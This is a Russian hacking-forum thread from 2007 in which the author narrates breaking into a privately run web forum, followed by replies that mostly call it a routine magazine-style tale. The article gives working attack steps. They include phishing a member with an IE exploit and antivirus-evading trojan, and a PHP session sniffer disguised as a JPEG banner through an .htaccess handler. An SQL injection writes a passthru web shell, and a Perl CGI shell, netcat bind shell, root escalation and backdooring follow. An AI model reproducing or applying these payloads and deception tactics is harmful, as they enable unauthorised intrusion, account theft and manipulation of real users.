ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Неуязвимых систем не бывает
  #1  
Старый 14.06.2007, 11:48
Аватар для hhover
hhover
Познающий
Регистрация: 21.05.2007
Сообщений: 61
Провел на форуме:
79888

Репутация: 145
По умолчанию Неуязвимых систем не бывает

Зачем эта статья?
Надеюсь, что для одноразового прочтения сойдет. Просто нравятся мне такие статьи, а их мало.

Было очень жарко...
Я налил лимонного сока, положил в стакан льда, стал читать башорг, но тут вспомнил, что надо бы зломать один сервер. Я на него уже давно хотел поглядеть. На сервере не оказалось установлено ничего, кроме форума, который я и избрал своим единственным объектом атаки.

Осматриваемся...
Форум был самописный и с виду неплохо защищенный. Первым же своим действием я обнаружил администраторскую панель, просто вбив в адресную строку http://site.com/admin/. Админка была доступна, видимо, только админу (странно). Я еще поглядел баги, но, ничего не найдя, решил зарегестрироваться. На страничке регистрации я с сожалением увидел, что регистрация на форуме закрыта. И происходит только через админа. Я не стал вчитываться в то, какого содержания письмо писать админу и что в нем указывать, чтобы мне дали аккаунт, я сразу избрал другой путь.

Регистрируемся...
Я хотел сбрутить чужой аккаунт, зашел на страничку входа, и немного поубавил свой пыл, увидев там капчу. Правда капча была самой примитивной и я подумал, что можно быстро и со 100% вероятностью ее распознавать. Но перед тем, как я начал писать распознавалку, решил проверить саму авторизацию на прочность. И не зря, оказалось, что в поле hidden формы передавался md5 хеш капчи, но стоит отдать должное программеру, он передаваемый текст хитро спрятал в функции onSubmit, которая присваивала скрытому полю нужное значение прямо перед отправкой.

Итак, я быстро написал скрипт на пхп, и попытался брутить, но меня постигла неудача, на IP адрес стояло ограничение по количеству неудачных авторизаций. Я подумал было прикупить проксей, но решил что проще и надежней будет связаться с кем-нибудь из участников форума и впарить ему троя. Искать нужного человека я полез в гугл.
Я вбил запросы:
Код:
site:site.com мое мыло
site:site.com моя ася
И гугл любезно выдал мне нашел несколько людей с аськами и адресами почты. Почитав посты потенциальных жертв, я выбрал первого человека, постоянно посещающего форум, взял кривую восьмерку, сменил инфу и стукнул ему в асю. Сказал, что хочу зарегестрироваться на форуме и попросил его помочь мне с этим нелегким делом. Человек попался отзывчивый и добрый, начал рассказывать и объяснять мне все. Он рассказывал долго, а я много спрашивал. В итоге стало ясно, что он в последнюю очередь видит во мне злобного хакера, пытающегося увести его аккаунт, и в первую очередь глупую девчонку. И тогда я начал действовать:

Цитата:
Я: мммм... у меня почему-то антивирус начал говорить, что на форуме вирус, и сайт не открывается, посмотри пожалуйста!
Жертва: у меня молчит и все нормально
Я: а у тебя какой антивирус?
Жертва: я нод32 использую
Я: ну у тоже нод, может это из-за браузера? ты интернет эксплорер используешь?
Жертва: ну да, не знаю, у меня никогда ничего не находил
Я: о, я отключила фаервол и все заработало, странно, у тебя не аутпост стоит?
Жертва: нет, я без фаервола вообще сижу
Так я узнал все, что мне надо о жертве, и пока мы мило беседовали дальше, я создал страничку со сплоитом под ИЕ и троем, закриптованным от НОДа. Залил все это на старый акк jino-net, чел зашел по моему линку на флешку, и пока смотрел ее, я уже зашел на форум под его логином и паролем. Мы еще обменялись парой фраз, а потом я поехала в институт.

И что же мы получили?
Первое, что бросилось в глаза - то, что пароля в куках не было, была только сессия. Причем эта же сессия мелькала и в get запросах. Я подумал, что можно просниффать админскую сессию, но возник логичный вопрос - как? Аватары на форуме нельзя было указывать ссылками на другой сайт. Только загружать с локалхоста. А тега img не было. Никакой возможности поставить сниффер мне не предоставилось. Я поискал другие баги, но сайт бы чист. Тогда мне в голову пришла идея, как заполучить сессию админа.

Получаем админскую сессию.
На форуме было несколько рекламных мест, вверху и внизу висели баннеры 468x60, а также пару текстовых ссылок. Баннеры как ни странно были расположены на сайтах рекламодателей. У меня был шелл на сайте с похожей тематикой, я взял их баннер, разместил в отдельной папке, в которой создал также .htaccess с содержимым:
Код:
<Files "banner.jpg">
AddType application/x-httpd-php .jpg
</Files>
Скрипт banner.jpg я сделал сниффером, чтобы он логировал реферер:
Код:
<?php
// открываем файл, записываем IP, реферер на новую строку, закрываем
$fo=fopen('1.txt','ab'); 
fwrite($fo,$_SERVER['REMOTE_ADDR'].':'.$_SERVER['HTTP_REFERER']."\r\n";
fclose($fo);

// показываем картинку realbanner.jpg
header("Content-type: image/jpeg"); 
$im=imagecreatefromjpeg("./realbanner.jpg"); 
Imagejpeg($im,'',20); 
ImageDestroy($im);
?>
После я взял кривую шестерку, стукнул админу, сказал, что по вопросам размещения рекламы. Он отнесся к предложению с трепетом и излишним энтузиазмом, мы быстро договорились, было ясно, что такие предложения поступают к нему не часто и я сыграл на этом, используя очень деловой тон. Я дал ему ссылку на banner.jpg, сказал, чтобы он поставил его на сайт, и я сразу переведу деньги. Админ поставил мой баннер. Я одобрил, но вдруг обнаружил, что мой кошелек заблокирован, извинился и сказал, что стукну как только разблокирую его. Сессия админа была у меня.

Ваши права? Администратор!
Я подменил куки и вошел на форум под админом. И сразу ломанулся осматривать админ панель меня пустило без дополнительных проверок.

В админке было не очень много возможностей, я стал искать как бы мне залить шелл, но заливать файлы там было нельзя. Я старательно принялся искать любые баги и вскоре заметил, что при выполнении определенных действий с базой юзеров, в type='hidden' поле формы передается id юзера.
Я сделал на локалхосте аналог формы из админки:
Код:
<form action='http://site.com/admin_panel/index.php?action=edituser' method='post'>
<input type='text' name='user_id' value='SQL Injection' />
<input type='submit' name='submit' value='submit' />
</form>
И, попробовав послать некорректный запрос, я увидел ошибку mysql.

Поскольку я одновременно узнал и пути, и имя таблицы, я попробывал залить шелл через info outfile в директорию с аватарами, она ведь была открыта для записи, у меня получилось:
Код:
1' union select '<? passthru($_GET[cmd]) ?>' from users into outfile 
'/home/site/public_html/images/av/image.php'/*
Но вот в директории с аватарами было запрещено выполнение пхп скриптов. Как я позже узнал, запрет был при помощи следущего
текста в .htaccess:
Код:
<Files ~ "\.php">
   Order allow,deny
   Deny from all
</Files>
Я попробовал изменить расширение на .php3, и скрипт запустился.

Safe mode On
Но мой шелл не работал, потому-что safe_mod был включен. Тогда я залил простенький скрипт, при помощи которого можно было заливать файлы в определенную папку на сервер. И залил шелл от rst. Увидел уязвимое ядро, увидел, что функция eval и множество других были выключены. Я понял, что при помощи пхп ловить тут нечего. Я не мог выполнять команды, а выполнять кастрированный пхп код мог лишь заливая каждый раз новый файл. Тогда новым файлом я попытался удалить .htaccess, получилось:
Код:
<?php unlink('./.htaccess');?>
Тогда я залил perl шелл, залил новый .htaccess с содержимым:
Код:
<Directory /home/site/public_html/images/av/>
Options +ExecCGI
AddHandler cgi-script .pl
</Directory>
Этим я разрешил выполнение perl скриптов в данной директории.

Также пришлось залить простенький файл, который сменил chmod моему perl скрипту. Только тогда мой perl шелл заработал.

Полноценный шелл, это так здорово!
Итак, шелл на перле запустился. Я нашел в файле конфига инфу для доступа к бд, ничего интересного там не было. Хотя пароли хранились в открытом виде и я слил таблицу юзеров. Я залил скрипт для бинда порта, вошел на сервер netcat'ом. Дальше я использовал эксплоит для повышения прав, поимев рута, взял с сервера то, что мне было нужно, замел следы, забекдорил систему... но это уже совсем другая история...

А на улице по прежнему +30, или В заключении...
...хочу сказать - не пытайтесь повторить это дома, это опасно для жизни. Если будете повторять - не забывайте предохраняться. И помните, не бывает 100% защищенных систем. Используйте творческий подход. Иногда даже обычная XSS может дать вам рута. Не говоря уже про человеческий фактор.

Все.
Могут быть ошибки. Писал все по памяти.

Последний раз редактировалось hhover; 14.06.2007 в 16:29..
 
Ответить с цитированием

  #2  
Старый 14.06.2007, 12:17
Аватар для -=lebed=-
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Хм.. статейка в стиле Ксакепа, имхо наверно мы её скоро увидим в июньском ][, я правильно понял?

ЗЫ. Имхо только сок у них апельсиновый, а не лимонный... :d
 
Ответить с цитированием

  #3  
Старый 14.06.2007, 12:44
Аватар для gibson
gibson
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию

Цитата:
Дальше я использовал эксплоит для повышения прав, а поимев рута, взял с сервера то, что мне было нужно, замел следы,
забекдорил систему... но это уже совсем другая история...
вот об этом можно было и по подробней, что за ось, что за сплойты использовал, это хостинг был или нет=) а так, сильно смахивает статьи из ][
 
Ответить с цитированием

  #4  
Старый 14.06.2007, 13:19
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

В принцыпе взлом банален и нечего сложно я не вижу...
Ps надо тоже попробывать свеже выжатый лимооный сок, наверное помогает хекать как **нешь пол литра лицо скосит всего вывернет и сиди хекай.
Pps Напиши статью о влиянии лимнного сока на мозг хакера.
 
Ответить с цитированием

  #5  
Старый 14.06.2007, 14:30
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

+1
банальная статья для ксакепа. хотя порадовала фишка с .htaccess'ом. большая часть была в соц инженерии, а это не всегда удачно, ибо люди разные бывают=\
__________________
 
Ответить с цитированием

  #6  
Старый 16.06.2007, 10:56
Аватар для k1b0rg
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553

Репутация: 1316


По умолчанию

А почему автор в статье говорит о себе то о женском то о мужском роде?

Цитата:
Я налил лимонного сока,
Цитата:
Мы еще обменялись парой фраз, а потом я поехала в институт.
 
Ответить с цитированием

  #7  
Старый 16.06.2007, 11:18
Аватар для Red_Red1
Red_Red1
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме:
4608122

Репутация: 874
Отправить сообщение для Red_Red1 с помощью ICQ
По умолчанию

Цитата:
Сообщение от k1b0rg  
А почему автор в статье говорит о себе то о женском то о мужском роде?
Тут как раз все просто. Он представился девушкой.
Цитата:
Сообщение от hhover  
В итоге стало ясно, что он в последнюю очередь видит во мне злобного хакера, пытающегося увести его аккаунт, и в первую очередь глупую девчонку
 
Ответить с цитированием

  #8  
Старый 16.06.2007, 19:31
Аватар для genom--
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

ой а мне такое нравится читать -- как говорил один мой учитель по информатике сказка про серенького бычка хз почему --- похоже не хеккерскую сказку -- рекомендую к прочтению перед сном для развития фантазии и предупреждения лунатизма

пойдет
 
Ответить с цитированием

  #9  
Старый 16.06.2007, 20:59
Аватар для Gh0s7
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию

Да, меня тоже удивило 'а потом я поехала в институт.'
Ждем доку в ксакепе?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Кто куда поступает? (или если учится, то где) TTyck Болталка 19 16.04.2009 19:32
Тест-драйв популярных криптографических систем Liar Soft - Windows 10 21.05.2007 03:57
Моделирование программно-аппаратных ''реактивных'' систем раскрашенными сетями Петри bxN5 Чужие Статьи 1 09.03.2007 15:50
Создание виртуальных файловых систем в Linux _GaLs_ *nix 0 20.11.2006 20:05
анатомия Gsm silveran Сотовый фрикинг 2 10.12.2005 02:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ